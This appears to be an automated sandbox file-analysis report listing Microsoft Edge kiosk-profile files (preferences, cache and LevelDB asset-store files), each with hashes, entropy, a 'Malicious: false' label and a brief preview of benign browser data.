C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\5e0c24d3-f11e-4727-837f-9d7788a1f0b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	6426
Entropy (8bit):	4.974618973334527
Encrypted:	false
SSDEEP:	96:stvqfeuNis1/Zb9VBytN8z+s85eh6Cb7/x+6MhmuecmAe9ecQR2MA/EJ:stv5sJytNk+s88bV+FiAlPAMJ
MD5:	0E1EEAEA9F1E22AECE05DF25A876D16D
SHA1:	BA3835050A9128EBF8156DC6A943F7828D0B8F6D
SHA-256:	6D0326FB441E3ACFDFF5C57FBA9812E6A0A4CF99225D99D1D94CDECEC42E423F
SHA-512:	23E489F0AB070A09A0E06022C354658C6A3C8754F1D1491779C4C7A0F67453A4845BD2187B10C82EE44E466AE71348461462F4B0D9D5D8521FDB9338AC60A11B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369620613894990","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369620613891593"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\6f27319d-3ee5-4b2b-9e6d-9f4e035df5d5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\72731a13-3483-4f06-bcca-03be6cad6d50.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24799
Entropy (8bit):	5.565955614022802
Encrypted:	false
SSDEEP:	768:SnwesPWPOcfpQ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVmPbAsrwUpGtuE:SnwesPWPOcfpQu1javTAF9t/
MD5:	960FAC6669E0356666D5EFF492997D3F
SHA1:	A6350E082040BEA6A4A9F16DEA6256B56125A444
SHA-256:	ABAC26DBC2B39C74788326BBC808A63EA6C5419E2FED9FA773015C3BD1E2C65B
SHA-512:	76DE37B2FDB654F8770CA88131770FC841AE71B8C55ED42F3C0FDAAD342453EFB089AC7D21C07D1C45C8474DC504537A04347334EFC2EFD59C61F1A2EEF8E90B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369620612824633","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369620612824633","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\8ef20af6-1bd4-43c1-bcdd-7e5d07d7221e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6292
Entropy (8bit):	4.966868852441012
Encrypted:	false
SSDEEP:	96:stvqfeuNis1/Zb9VBytN8z+s85eh6Cb7/x+6MhmuecmAe9eoJ2MA/EJ:stv5sJytNk+s88bV+FiAuPAMJ
MD5:	3938ACE09EB25729B774BED54D78174F
SHA1:	888B22DE7E553A961364B778439E6A3373AE0CF8
SHA-256:	92046C652A2D042E7EF21715D3C8C2644A2EC674E82F20CB7A577EAD3C29FEAE
SHA-512:	3AB3E0EBDF7CCAADFCCF2C6A81201FF17ED0FA6697D2A54C1D3FA7BF3793E2230FFCB01331270E2203211ED5EFF461C0949D84DE06119056186270254CBB65D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369620613894990","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369620613891593"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	12600
Entropy (8bit):	5.320777315486457
Encrypted:	false
SSDEEP:	192:a8AOEH/WCxkD7MDPSYAxmemxb7mngJdv9TXJ4MQmLu5/4eeNdl:wOEOKSXs/J7mGnQmLu5/5eNdl
MD5:	8C12AD69E78C2FC9A3B7594935D6C2C7
SHA1:	A5595AEDB6AA1BCF99494A0F9B3AB6873F83D88F
SHA-256:	CA275A79991CAC369F24BC645F58A96EA113638876DB7EE0A571FEE694BF5A96
SHA-512:	E76470BEFC1F3CFF6F86F5BC7581EAC21F492315032BEC98CE2DD230DE57DC70115653FA95CE7E11AC6540F1A50687F3FEF2CDB6E120AA55E380BBBD2AE26D6B
Malicious:	false
Preview:	...m.................DB_VERSION.1..f.................QUERY_TIMESTAMP:arbitration_priority_list4...13369620618229026.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"2DPW9BV28WrPpgGHdKsEvldNQvD7dA0AAxPa3B/lKN0=","size":11989}]..A./..............'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.]{.. "configVersion": 32,.. "PrivilegedExperiences": [.. "ShorelinePrivilegedExperienceID",.. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",.. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",.. "SHOPPING_AUTO_SHOW_BING_SEARCH",.. "SHOPPING_AUTO_SHOW_REBATES",.. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",.. "SHOPPING_AUTO_SHOW_REBATES_DEACTIVATED",.. "SHOPPING_AUTO_SHOW_REBATES_BING",.. "SHOPPING_AUTO_SHOW_REBATES_ORGANIC",.. "SHOPPING_AUTO_SHOW_PRICE_HIST

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.143752858619305
Encrypted:	false
SSDEEP:	6:7DJ/1923oH+TcwtOEh1ZB2KLldBg+q2P923oH+TcwtOEh1tIFUv:7DkYebOEh1ZFLjnv4YebOEh16FUv
MD5:	D7A7E414CF22BF896EFDCE48DD99D63F
SHA1:	C7923405CB92D9FFC4D631BA3B03272C908D08D8
SHA-256:	4E88A2BC7FDCB88B4D462DAA33071C897778EA9572DD3651BB421BB57113BC95
SHA-512:	6F9C02AC3AAD7C67C0FC409D1ADC359C56E2CE343670C2F7AB8F9C217C027E1513AFC1A3FFA3D241D8AE03A9A37DAEE0B5ACE98201695C13F504BEB0A30D26CF
Malicious:	false
Preview:	2024/08/31-19:30:17.314 1168 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db since it was missing..2024/08/31-19:30:17.339 1168 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\AssistanceHome\AssistanceHomeSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.3202460253800455
Encrypted:	false
SSDEEP:	6:l9bNFlEuWk8TRH9MRumWEyE4gLueXdNOmWxFxCxmWxYgCxmW5y/mWz4ynLAtD/W4:TLiuWkMORuHEyESeXdwDQ3SOAtD/ie
MD5:	40B18EC43DB334E7B3F6295C7626F28D
SHA1:	0E46584B0E0A9703C6B2EC1D246F41E63AF2296F
SHA-256:	85E961767239E90A361FB6AA0A3FD9DAA57CAAF9E30599BB70124F1954B751C8
SHA-512:	8BDACDC4A9559E4273AD01407D5D411035EECD927385A51172F401558444AD29B5AD2DC5562D1101244665EBE86BBDDE072E75ECA050B051482005EB6A52CDBD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.04402315091915192
Encrypted:	false
SSDEEP:	6:/Fii2P8LkM/l5R+lNl/KxKaKTkUmZYR8klloMyH/l:dDQEuKxVJVZYRd/oMa
MD5:	8AE297DCA5551E31D04218D8BB7BD8CD
SHA1:	CD47E78D5179B5D952AF055F6ED885CAF6B63859
SHA-256:	E004829DEA282387CB108AD4DC60EA503467CB7C7ACD3E3D810B7DBBBF4DC079
SHA-512:	D2704A7A840D0D3F39FB58C8C7094A0643878B5C97EC5DE6013EC18713D5DA9702775C99716E62F314138FD5E9C9D08EC6365F10771AC76052019A093E03585C
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.09556556758747914
Encrypted:	false
SSDEEP:	48:GV4A3esgV4XesrAzNUeU98ExRm5IT3lWp4:GV4A33gV4X3rAzNLUmEx45q3L
MD5:	BC8A8C15AF6BFFBE0F745B66B42DDF19
SHA1:	F1C46FA177E61263B35E327A9A58F695710A5F3F
SHA-256:	ADAB7D35A02F683E51532992D89BEE7D6153B9C3799B14675507EB93B4629129
SHA-512:	5C627F590C7AC10BF9E16C0C3787733E2FDAD03D61E31631E6164C4BAC20ECDAAF97A6F1F2D665C58D33349AE5204EE48BAA2AC205CA42382CC885BB23C86751
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1056768
Entropy (8bit):	0.28323535476565315
Encrypted:	false
SSDEEP:	384:rswMJtMZWswMJtMSReZJtbbZJtb2R5QJtP:rAJtOWAJtyZJtPZJt6QJt
MD5:	227D0B86256D50B5FE510BE2B7BC0840
SHA1:	CF554D2B777808814249FC2CA91AAF54B0A69B9C
SHA-256:	71CE8529D0AF01D99AFB5C05C417AA1ACDFF2874769E238560E479CD40A62F4D
SHA-512:	AD3A8AB0137C28AF065511D543DB86D9529FE34F90CCB833C73F49D34F850BB089C52F45837D09B5B76A2BB03A2C9700B33E02DCA1C5BD27D45B6C4BB2984CF8
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4202496
Entropy (8bit):	0.04312480187296375
Encrypted:	false
SSDEEP:	192:rH/WCxkD7MDPSYAxmemxb7mngJdv9TXJ4MQmLu5/4eeNd:rOKSXs/J7mGnQmLu5/5eNd
MD5:	4D3862637A3E49DEA6B0E914424F7F3E
SHA1:	2ADD705EDC5981DFA1DDA043EF8917DD416CA4B3
SHA-256:	081133A6F01292BF3CDF0BFBAE44EEE97EC2920D820294EA0447EE2D71249D58
SHA-512:	FA1B6C0C9D28F5686D65A17D43EC6473524C7D576CADA3BA68A94B85375C703E750F624CA82ED3A431DBF5A41203A974E041BFCC6681E04CFBE708B34A4AA861
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\f_000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, was "asset", last modified: Fri Aug 2 18:10:34 2024, max compression, original size modulo 2^32 374872
Category:	dropped
Size (bytes):	70207
Entropy (8bit):	7.995911906073242
Encrypted:	true
SSDEEP:	1536:VzseWV/dT2G9zm5w0vgxQUFm6SM6ZYRuB61K+aK+POIwPru:VoNQGIwvs6S9+I6RWPOIwTu
MD5:	9F5A7E038BF08B13BD15338EC7BD4E16
SHA1:	AB69D28EEA9AE289BB86159C341910538CDDE5B9
SHA-256:	BA0BCBBF170ADB0B5119D19D56C2D004579507DFC4A9215BCCC8663C8A486AF8
SHA-512:	48557ECD56DFD2157304FE752E15E44314667EFC79E6C21312723251E4E1F1BF5BE0A76F88F4B4D83FADB9D81BFB1835B1C0E5CFA7B07214A605F58064BB94B1
Malicious:	false
Preview:	.....!.f..asset.....6.0.W..3....[........9m;.....IH.E...j...}.....PR..w.gg.....@.P...?...x....?./.%..Q...x....}..9..e..f.8..Yb@g...i..$...I.......<....k...{..{.Qg..k..q.....i.Y}..._......\?....5 .5 .`..._i'@....H'.f!...x`...f......v.._1w.u.<.........5.:..^.Ua....H6...x....D:.R..L..2.,.s.f.......FE'..%{]-;+.`....N...=\|.:q...9N.k..i.I.8E.i.I.s..Y...8..fe'...Xo...Xo...#.r$N.u2.o.]....^,.k....{E."......Q.N...AY..u.^o.............Z..ce.irN.{.O$.C.......HJ.HJ..J..hOgA.5.nW.\........}E.%-.A."a<..~.[O....~.......xX.G?Y.3O8d8I...&X....V4...0=.iS....].D.L@.YiS...<.W..W+..#mj...p..8^.\U;oV;W`..^..V...G..SC.9.....i%@g.iS=..`..#.H.p.q..E.q...)....).X..M.X.%.,i.%..V..6.nk.@1S@-..Y.6....K.n....:c.My.....h...9..q...f't.iS.v..6D7...d't.iS.v..F.....faG.t.f....lR.J@!l.0O..T.....T2...\.n..-....L..ES.9.:...B..P1@...P.l.fX.aV..Y6.B5......Mt..SS,l..+..J...).i.6......8...:.Z...2.H.8..Z.>.5.Oi..N`:..6.i.n.h.l.e.h.T\.lr...TE+m.T..).D..F..+.6....J...x.`..`.m..H..i....p...v

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	5.027445846313988E-4
Encrypted:	false
SSDEEP:	3:LsulGXa:LsdX
MD5:	A4B661E04DE9C710AA4C362989F850FF
SHA1:	6D1F747E7F1A7C4108EBECA261B581EA29E6FBFD
SHA-256:	E5D2131746541F1E250C0F1837F14B648854C7F6E469917074A3CC7DECCEB55E
SHA-512:	D08F25089BC02ADE3BAD210A55CC0C90DCF15C913E778E95D11F24DE6A44CD158F1D56DE91E9ECE920CB523442911749A9F259AB2D7AAAB92C3E902E2D60C31E
Malicious:	false
Preview:	.........................................E._../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\js\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\js\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:KWyyEVoJn:KHVoJ
MD5:	0C726B8CBFBE42140292C6E429D17CA6
SHA1:	081B86CFA9B8445C86956C4C0FA0BD6A635CE57A
SHA-256:	F260C567F2351B0698FCF2B87F91885366905A8215EF87720D9CBE0AC98A94C9
SHA-512:	4A105768E2DFCEF253FBCBAA9FD633A8C03C32A51A608C1FF5FBB0AB4D923A0B0B364F9CC261ACE7DD94F21490A7608E8938B267062E8E5C983561EE05CCA8D2
Malicious:	false
Preview:	(......\oy retne........................IMp_../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\js\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:KWyyEVoJn:KHVoJ
MD5:	0C726B8CBFBE42140292C6E429D17CA6
SHA1:	081B86CFA9B8445C86956C4C0FA0BD6A635CE57A
SHA-256:	F260C567F2351B0698FCF2B87F91885366905A8215EF87720D9CBE0AC98A94C9
SHA-512:	4A105768E2DFCEF253FBCBAA9FD633A8C03C32A51A608C1FF5FBB0AB4D923A0B0B364F9CC261ACE7DD94F21490A7608E8938B267062E8E5C983561EE05CCA8D2
Malicious:	false
Preview:	(......\oy retne........................IMp_../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\wasm\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\wasm\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:OYTEJ5h8a+:OYgJja
MD5:	F4C778898F2EC46A1B86FF5B6D343C09
SHA1:	60B6BBA8ADC0E842C5F525158440E3D9930B0857
SHA-256:	F67DFFEA9B17329465A3C37C2EF0BF624C88E9A00B9B338B654ACA6CEC949AC1
SHA-512:	95E20BB61573402E01BD85B7AF623A50438C7689CC715383836620592457121DC04FB2DB3068C97C49C44D68ACBE39EAC146805F1A7FE4FD62F9AD46BA7ECCE0
Malicious:	false
Preview:	(....B.)oy retne..........................o_../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\wasm\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:OYTEJ5h8a+:OYgJja
MD5:	F4C778898F2EC46A1B86FF5B6D343C09
SHA1:	60B6BBA8ADC0E842C5F525158440E3D9930B0857
SHA-256:	F67DFFEA9B17329465A3C37C2EF0BF624C88E9A00B9B338B654ACA6CEC949AC1
SHA-512:	95E20BB61573402E01BD85B7AF623A50438C7689CC715383836620592457121DC04FB2DB3068C97C49C44D68ACBE39EAC146805F1A7FE4FD62F9AD46BA7ECCE0
Malicious:	false
Preview:	(....B.)oy retne..........................o_../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl7u:Ls37
MD5:	1D13DEB64F0AD0B75CFA493657AB17FD
SHA1:	074A9F6D0C9F1BD24036494D54A3AC9BE5E32A74
SHA-256:	EF88535C707CC27CA5803A68C532F28E5BED6FFEB052CFF9FC22F2469BF0BC77
